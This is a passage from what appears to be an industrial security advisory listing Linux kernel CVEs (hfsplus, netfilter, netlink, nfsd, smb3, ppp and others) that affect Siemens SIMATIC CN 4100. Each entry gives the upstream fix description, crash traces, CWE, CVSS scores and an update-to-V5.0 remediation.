apparmor_file_permission+0x239/0x3e0 [ 667.125069][ T9805] iterate_dir+0x296/0xb20 [ 667.125076][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.125084][ T9805] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 667.125091][ T9805] ? __x64_sys_openat+0x141/0x200 [ 667.125126][ T9805] ? __pfx_filldir64+0x10/0x10 [ 667.125134][ T9805] ? do_user_addr_fault+0x7fe/0x12f0 [ 667.125143][ T9805] do_syscall_64+0xc9/0x480 [ 667.125151][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.125158][ T9805] RIP: 0033:0x7fa8753b2fc9 [ 667.125164][ T9805] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 48 [ 667.125172][ T9805] RSP: 002b:00007ffe96f8e0f8 EFLAGS: 00000217 ORIG_RAX: 00000000000000d9 [ 667.125181][ T9805] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fa8753b2fc9 [ 667.125185][ T9805] RDX: 0000000000000400 RSI: 00002000000063c0 RDI: 0000000000000004 [ 667.125190][ T9805] RBP: 00007ffe96f8e110 R08: 00007ffe96f8e110 R09: 00007ffe96f8e110 [ 667.125195][ T9805] R10: 0000000000000000 R11: 0000000000000217 R12: 0000556b1e3b4260 [ 667.125199][ T9805] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 667.125207][ T9805] [ 667.125210][ T9805] [ 667.145632][ T9805] Allocated by task 9805: [ 667.145991][ T9805] kasan_save_stack+0x20/0x40 [ 667.146352][ T9805] kasan_save_track+0x14/0x30 [ 667.146717][ T9805] __kasan_kmalloc+0xaa/0xb0 [ 667.147065][ T9805] __kmalloc_noprof+0x205/0x550 [ 667.147448][ T9805] hfsplus_find_init+0x95/0x1f0 [ 667.147813][ T9805] hfsplus_readdir+0x220/0xfc0 [ 667.148174][ T9805] iterate_dir+0x296/0xb20 [ 667.148549][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.148937][ T9805] do_syscall_64+0xc9/0x480 [ 667.149291][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.149809][ T9805] [ 667.150030][ T9805] The buggy address belongs to the object at ffff88802592f000 [ 667.150030][ T9805] which belongs to the cache kmalloc-2k of size 2048 [ 667.151282][ T9805] The buggy address is located 0 bytes to the right of [ 667.151282][ T9805] allocated 1036-byte region [ffff88802592f000, ffff88802592f40c) [ 667.1 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds in hfsplus_bnode_read() The hfsplus_bnode_read() method can trigger the issue: [ 174.852007][ T9784] ================================================================== [ 174.852709][ T9784] BUG: KASAN: slab-out-of-bounds in hfsplus_bnode_read+0x2f4/0x360 [ 174.853412][ T9784] Read of size 8 at addr ffff88810b5fc6c0 by task repro/9784 [ 174.854059][ T9784] [ 174.854272][ T9784] CPU: 1 UID: 0 PID: 9784 Comm: repro Not tainted 6.16.0-rc3 #7 PREEMPT(full) [ 174.854281][ T9784] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 174.854286][ T9784] Call Trace: [ 174.854289][ T9784] [ 174.854292][ T9784] dump_stack_lvl+0x10e/0x1f0 [ 174.854305][ T9784] print_report+0xd0/0x660 [ 174.854315][ T9784] ? __virt_addr_valid+0x81/0x610 [ 174.854323][ T9784] ? __phys_addr+0xe8/0x180 [ 174.854330][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854337][ T9784] kasan_report+0xc6/0x100 [ 174.854346][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854354][ T9784] hfsplus_bnode_read+0x2f4/0x360 [ 174.854362][ T9784] hfsplus_bnode_dump+0x2ec/0x380 [ 174.854370][ T9784] ? __pfx_hfsplus_bnode_dump+0x10/0x10 [ 174.854377][ T9784] ? hfsplus_bnode_write_u16+0x83/0xb0 [ 174.854385][ T9784] ? srcu_gp_start+0xd0/0x310 [ 174.854393][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854402][ T9784] hfsplus_brec_remove+0x3d2/0x4e0 [ 174.854411][ T9784] __hfsplus_delete_attr+0x290/0x3a0 [ 174.854419][ T9784] ? __pfx_hfs_find_1st_rec_by_cnid+0x10/0x10 [ 174.854427][ T9784] ? __pfx___hfsplus_delete_attr+0x10/0x10 [ 174.854436][ T9784] ? __asan_memset+0x23/0x50 [ 174.854450][ T9784] hfsplus_delete_all_attrs+0x262/0x320 [ 174.854459][ T9784] ? __pfx_hfsplus_delete_all_attrs+0x10/0x10 [ 174.854469][ T9784] ? rcu_is_watching+0x12/0xc0 [ 174.854476][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854483][ T9784] hfsplus_delete_cat+0x845/0xde0 [ 174.854493][ T9784] ? __pfx_hfsplus_delete_cat+0x10/0x10 [ 174.854507][ T9784] hfsplus_unlink+0x1ca/0x7c0 [ 174.854516][ T9784] ? __pfx_hfsplus_unlink+0x10/0x10 [ 174.854525][ T9784] ? down_write+0x148/0x200 [ 174.854532][ T9784] ? __pfx_down_write+0x10/0x10 [ 174.854540][ T9784] vfs_unlink+0x2fe/0x9b0 [ 174.854549][ T9784] do_unlinkat+0x490/0x670 [ 174.854557][ T9784] ? __pfx_do_unlinkat+0x10/0x10 [ 174.854565][ T9784] ? __might_fault+0xbc/0x130 [ 174.854576][ T9784] ? getname_flags.part.0+0x1c5/0x550 [ 174.854584][ T9784] __x64_sys_unlink+0xc5/0x110 [ 174.854592][ T9784] do_syscall_64+0xc9/0x480 [ 174.854600][ T9784] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 174.854608][ T9784] RIP: 0033:0x7f6fdf4c3167 [ 174.854614][ T9784] Code: f0 ff ff 73 01 c3 48 8b 0d 26 0d 0e 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 08 [ 174.854622][ T9784] RSP: 002b:00007ffcb948bca8 EFLAGS: 00000206 ORIG_RAX: 0000000000000057 [ 174.854630][ T9784] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6fdf4c3167 [ 174.854636][ T9784] RDX: 00007ffcb948bcc0 RSI: 00007ffcb948bcc0 RDI: 00007ffcb948bd50 [ 174.854641][ T9784] RBP: 00007ffcb948cd90 R08: 0000000000000001 R09: 00007ffcb948bb40 [ 174.854645][ T9784] R10: 00007f6fdf564fc0 R11: 0000000000000206 R12: 0000561e1bc9c2d0 [ 174.854650][ T9784] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 174.854658][ T9784] [ 174.854661][ T9784] [ 174.879281][ T9784] Allocated by task 9784: [ 174.879664][ T9784] kasan_save_stack+0x20/0x40 [ 174.880082][ T9784] kasan_save_track+0x14/0x30 [ 174.880500][ T9784] __kasan_kmalloc+0xaa/0xb0 [ 174.880908][ T9784] __kmalloc_noprof+0x205/0x550 [ 174.881337][ T9784] __hfs_bnode_create+0x107/0x890 [ 174.881779][ T9784] hfsplus_bnode_find+0x2d0/0xd10 [ 174.882222][ T9784] hfsplus_brec_find+0x2b0/0x520 [ 174.882659][ T9784] hfsplus_delete_all_attrs+0x23b/0x3 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfs: fix slab-out-of-bounds in hfs_bnode_read() This patch introduces is_bnode_offset_valid() method that checks the requested offset value. Also, it introduces check_and_correct_requested_length() method that checks and correct the requested length (if it is necessary). These methods are used in hfs_bnode_read(), hfs_bnode_write(), hfs_bnode_clear(), hfs_bnode_copy(), and hfs_bnode_move() with the goal to prevent the access out of allocated memory and triggering the crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38721\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix refcount leak on table dump There is a reference count leak in ctnetlink_dump_table(): if (res < 0) { nf_conntrack_get(&ct->ct_general); // HERE cb->args[1] = (unsigned long)ct; ... While its very unlikely, its possible that ct == last. If this happens, then the refcount of ct was already incremented. This 2nd increment is never undone. This prevents the conntrack object from being released, which in turn keeps prevents cnet->count from dropping back to 0. This will then block the netns dismantle (or conntrack rmmod) as nf_conntrack_cleanup_net_list() will wait forever. This can be reproduced by running conntrack_resize.sh selftest in a loop. It takes ~20 minutes for me on a preemptible kernel on average before I see a runaway kworker spinning in nf_conntrack_cleanup_net_list. One fix would to change this to: if (res < 0) { if (ct != last) nf_conntrack_get(&ct->ct_general); But this reference counting isn't needed in the first place. We can just store a cookie value instead. A followup patch will do the same for ctnetlink_exp_dump_table, it looks to me as if this has the same problem and like ctnetlink_dump_table, we only need a 'skip hint', not the actual object so we can apply the same cookie strategy there as well.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38723\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Fix jump offset calculation in tailcall The extra pass of bpf_int_jit_compile() skips JIT context initialization which essentially skips offset calculation leaving out_offset = -1, so the jmp_offset in emit_bpf_tail_call is calculated by \"#define jmp_offset (out_offset - (cur_offset))\" is a negative number, which is wrong. The final generated assembly are as follow. 54: bgeu $a2, $t1, -8 # 0x0000004c 58: addi.d $a6, $s5, -1 5c: bltz $a6, -16 # 0x0000004c 60: alsl.d $t2, $a2, $a1, 0x3 64: ld.d $t2, $t2, 264 68: beq $t2, $zero, -28 # 0x0000004c Before apply this patch, the follow test case will reveal soft lock issues. cd tools/testing/selftests/bpf/ ./test_progs --allow=tailcalls/tailcall_bpf2bpf_1 dmesg: watchdog: BUG: soft lockup - CPU#2 stuck for 26s! [test_progs:25056]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: nfsd: handle get_client_locked() failure in nfsd4_setclientid_confirm() Lei Lu recently reported that nfsd4_setclientid_confirm() did not check the return value from get_client_locked(). a SETCLIENTID_CONFIRM could race with a confirmed client expiring and fail to get a reference. That could later lead to a UAF. Fix this by getting a reference early in the case where there is an extant confirmed client. If that fails then treat it as if there were no confirmed client found at all. In the case where the unconfirmed client is expiring, just fail and return the result from get_client_locked().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38725\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: add phy_mask for ax88772 mdio bus Without setting phy_mask for ax88772 mdio bus, current driver may create at most 32 mdio phy devices with phy address range from 0x00 ~ 0x1f. DLink DUB-E100 H/W Ver B1 is such a device. However, only one main phy device will bind to net phy driver. This is creating issue during system suspend/resume since phy_polling_mode() in phy_state_machine() will directly deference member of phydev->drv for non-main phy devices. Then NULL pointer dereference issue will occur. Due to only external phy or internal phy is necessary, add phy_mask for ax88772 mdio bus to workarnoud the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38727\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netlink: avoid infinite retry looping in netlink_unicast() netlink_attachskb() checks for the socket's read memory allocation constraints. Firstly, it has: rmem < READ_ONCE(sk->sk_rcvbuf) to check if the just increased rmem value fits into the socket's receive buffer. If not, it proceeds and tries to wait for the memory under: rmem + skb->truesize > READ_ONCE(sk->sk_rcvbuf) The checks don't cover the case when skb->truesize + sk->sk_rmem_alloc is equal to sk->sk_rcvbuf. Thus the function neither successfully accepts these conditions, nor manages to reschedule the task - and is called in retry loop for indefinite time which is caught as: rcu: INFO: rcu_sched self-detected stall on CPU rcu: 0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212 (t=26000 jiffies g=230833 q=259957) NMI backtrace for cpu 0 CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014 Call Trace: dump_stack lib/dump_stack.c:120 nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105 nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62 rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335 rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590 update_process_times kernel/time/timer.c:1953 tick_sched_handle kernel/time/tick-sched.c:227 tick_sched_timer kernel/time/tick-sched.c:1399 __hrtimer_run_queues kernel/time/hrtimer.c:1652 hrtimer_interrupt kernel/time/hrtimer.c:1717 __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113 asm_call_irq_on_stack arch/x86/entry/entry_64.S:808 netlink_attachskb net/netlink/af_netlink.c:1234 netlink_unicast net/netlink/af_netlink.c:1349 kauditd_send_queue kernel/audit.c:776 kauditd_thread kernel/audit.c:897 kthread kernel/kthread.c:328 ret_from_fork arch/x86/entry/entry_64.S:304 Restore the original behavior of the check which commit in Fixes accidentally missed when restructuring the code. Found by Linux Verification Center (linuxtesting.org).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38728\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb3: fix for slab out of bounds on mount to ksmbd With KASAN enabled, it is possible to get a slab out of bounds during mount to ksmbd due to missing check in parse_server_interfaces() (see below): BUG: KASAN: slab-out-of-bounds in parse_server_interfaces+0x14ee/0x1880 [cifs] Read of size 4 at addr ffff8881433dba98 by task mount/9827 CPU: 5 UID: 0 PID: 9827 Comm: mount Tainted: G OE 6.16.0-rc2-kasan #2 PREEMPT(voluntary) Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: Dell Inc. Precision Tower 3620/0MWYPT, BIOS 2.13.1 06/14/2019 Call Trace: dump_stack_lvl+0x9f/0xf0 print_report+0xd1/0x670 __virt_addr_valid+0x22c/0x430 ? parse_server_interfaces+0x14ee/0x1880 [cifs] ? kasan_complete_mode_report_info+0x2a/0x1f0 ? parse_server_interfaces+0x14ee/0x1880 [cifs] kasan_report+0xd6/0x110 parse_server_interfaces+0x14ee/0x1880 [cifs] __asan_report_load_n_noabort+0x13/0x20 parse_server_interfaces+0x14ee/0x1880 [cifs] ? __pfx_parse_server_interfaces+0x10/0x10 [cifs] ? trace_hardirqs_on+0x51/0x60 SMB3_request_interfaces+0x1ad/0x3f0 [cifs] ? __pfx_SMB3_request_interfaces+0x10/0x10 [cifs] ? SMB2_tcon+0x23c/0x15d0 [cifs] smb3_qfs_tcon+0x173/0x2b0 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] ? cifs_get_tcon+0x105d/0x2120 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_get_tcon+0x105d/0x2120 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] cifs_mount_get_tcon+0x369/0xb90 [cifs] ? dfs_cache_find+0xe7/0x150 [cifs] dfs_mount_share+0x985/0x2970 [cifs] ? check_path.constprop.0+0x28/0x50 ? save_trace+0x54/0x370 ? __pfx_dfs_mount_share+0x10/0x10 [cifs] ? __lock_acquire+0xb82/0x2ba0 ? __kasan_check_write+0x18/0x20 cifs_mount+0xbc/0x9e0 [cifs] ? __pfx_cifs_mount+0x10/0x10 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_setup_cifs_sb+0x29d/0x810 [cifs] cifs_smb3_do_mount+0x263/0x1990 [cifs]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38729\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 power domain descriptors, too UAC3 power domain descriptors need to be verified with its variable bLength for avoiding the unexpected OOB accesses by malicious firmware, too.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38732\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: nf_reject: don't leak dst refcount for loopback packets recent patches to add a WARN() when replacing skb dst entry found an old bug: WARNING: include/linux/skbuff.h:1165 skb_dst_check_unset include/linux/skbuff.h:1164 [inline] WARNING: include/linux/skbuff.h:1165 skb_dst_set include/linux/skbuff.h:1210 [inline] WARNING: include/linux/skbuff.h:1165 nf_reject_fill_skb_dst+0x2a4/0x330 net/ipv4/netfilter/nf_reject_ipv4.c:234 [..] Call Trace: nf_send_unreach+0x17b/0x6e0 net/ipv4/netfilter/nf_reject_ipv4.c:325 nft_reject_inet_eval+0x4bc/0x690 net/netfilter/nft_reject_inet.c:27 expr_call_ops_eval net/netfilter/nf_tables_core.c:237 [inline] .. This is because blamed commit forgot about loopback packets. Such packets already have a dst_entry attached, even at PRE_ROUTING stage. Instead of checking hook just check if the skb already has a route attached to it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-911 Improper Update of Reference Count\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.8\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38735\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: gve: prevent ethtool ops after shutdown A crash can occur if an ethtool operation is invoked after shutdown() is called. shutdown() is invoked during system shutdown to stop DMA operations without performing expensive deallocations. It is discouraged to unregister the netdev in this path, so the device may still be visible to userspace and kernel helpers. In gve, shutdown() tears down most internal data structures. If an ethtool operation is dispatched after shutdown(), it will dereference freed or NULL pointers, leading to a kernel panic. While graceful shutdown normally quiesces userspace before invoking the reboot syscall, forced shutdowns (as observed on GCP VMs) can still trigger this path. Fix by calling netif_device_detach() in shutdown(). This marks the device as detached so the ethtool ioctl handler will skip dispatching operations to the driver.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-664 Improper Control of a Resource Through its Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: Fix PHY address mask in MDIO bus initialization Syzbot reported shift-out-of-bounds exception on MDIO bus initialization. The PHY address should be masked to 5 bits (0-31). Without this mask, invalid PHY addresses could be used, potentially causing issues with MDIO bus operations. Fix this by masking the PHY address with 0x1f (31 decimal) to ensure it stays within the valid range.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39673\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix race conditions in ppp_fill_forward_path ppp_fill_forward_path() has two race conditions: 1. The ppp->channels list can change between list_empty() and list_first_entry(), as ppp_lock() is not held. If the only channel is deleted in ppp_disconnect_channel(), list_first_entry() may access an empty head or a freed entry, and trigger a panic. 2. pch->chan can be NULL. When ppp_unregister_channel() is called, pch->chan is set to NULL before pch is removed from ppp->channels. Fix these by using a lockless RCU approach: - Use list_first_or_null_rcu() to safely test and access the first list entry. - Convert list modifications on ppp->channels to their RCU variants and add synchronize_net() after removal. 